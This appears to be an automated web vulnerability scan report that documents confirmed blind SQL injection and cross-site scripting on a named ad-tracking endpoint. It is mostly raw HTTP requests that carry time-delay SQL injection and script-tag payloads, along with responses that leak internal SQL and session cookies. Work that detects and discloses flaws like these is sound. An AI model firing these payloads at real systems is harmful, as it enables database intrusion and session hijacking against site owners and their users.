trk.vindicosuite.com, XSS, CWE-79, CAPEC-86, Database Error, SQL Injection
Netsparker - Scan Report Summary
|
TARGET URL
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http://trk.vindicosuite.com/Tracking/V2/Banne...
|
SCAN DATE
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2/12/2011 2:16:37 PM
|
REPORT DATE
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2/28/2011 6:53:09 PM
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SCAN DURATION
|
00:13:17
|
|
Total Requests
Redacted
Average Speed
Redacted
req/sec.
|
15
identified
13
confirmed
5
critical
2
informational
|
GHDB, DORK Tests
GHDB, DORK Tests
|
PROFILE
|
Previous Settings
|
ENABLED ENGINES
|
Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, Open Redirection, SQL Injection, Cross-site Scripting
|
|
Authentication
Scheduled
|
VULNERABILITIES
Vulnerabilities
|
|
|
Blind SQL Injection
Blind SQL Injection
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker
confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
- Reading, Updating and Deleting arbitrary data from the database
- Executing commands on the underlying operating system
- Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
- See the remedy for solution.
- If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
- Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
- Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
External References
Remedy References
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1;WAITFOR DELAY '0:0:25'--
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1;WAITFOR%20DELAY%20%270:0:25%27--&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=OKOHEANCPKAJIJIGOPEOKLGO; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:35 GMT
Expires: Sat, 12 Feb 2011 20:16:10 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 742
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@campaignId', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1;WAITFOR DELAY '0:0:25'--, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '749130757', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)%2bchar(58)%2bchar(48)%2bchar(58)%2bchar(50)%2bchar(53);WAITFOR/**/DELAY/**/@x--&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:20:41 GMT
Expires: Sat, 12 Feb 2011 20:20:17 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 832
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@adRotationId', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '757214071', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
1;WAITFOR DELAY '0:0:25'--
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=1;WAITFOR%20DELAY%20%270:0:25%27--&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:22:06 GMT
Expires: Sat, 12 Feb 2011 20:21:41 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 744
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@adRotationId', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = 1;WAITFOR DELAY '0:0:25'--, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '753210387', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)%2bchar(58)%2bchar(48)%2bchar(58)%2bchar(50)%2bchar(53);WAITFOR/**/DELAY/**/@x--&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:25:24 GMT
Expires: Sat, 12 Feb 2011 20:24:59 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 829
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@ipAddress', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--, @ipAddress = '173.193.214.243', @sessionId = '761208773', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
1;WAITFOR DELAY '0:0:25'--
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=1;WAITFOR%20DELAY%20%270:0:25%27--&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:26:48 GMT
Expires: Sat, 12 Feb 2011 20:26:23 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 741
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@campaignId', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 1;WAITFOR DELAY '0:0:25'--, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '753466134', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
'"--></style></script><script>alert(0x000013)</script>
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000013)%3C/script%3E&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:07 GMT
Expires: Sat, 12 Feb 2011 20:16:08 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 692
Connection: keep-alive
<br>Error Description:Incorrect syntax near '173.193'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = '"--></style></script><script>netsparker(0x000013)</script>, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '755803123', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
'"--></style></script><script>alert(0x000014)</script>
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000014)%3C/script%3E&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:07 GMT
Expires: Sat, 12 Feb 2011 20:16:07 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 691
Connection: keep-alive
<br>Error Description:Incorrect syntax near '173.193'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = '"--></style></script><script>netsparker(0x000014)</script>, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '756356256', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
'"--></style></script><script>alert(0x000015)</script>
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
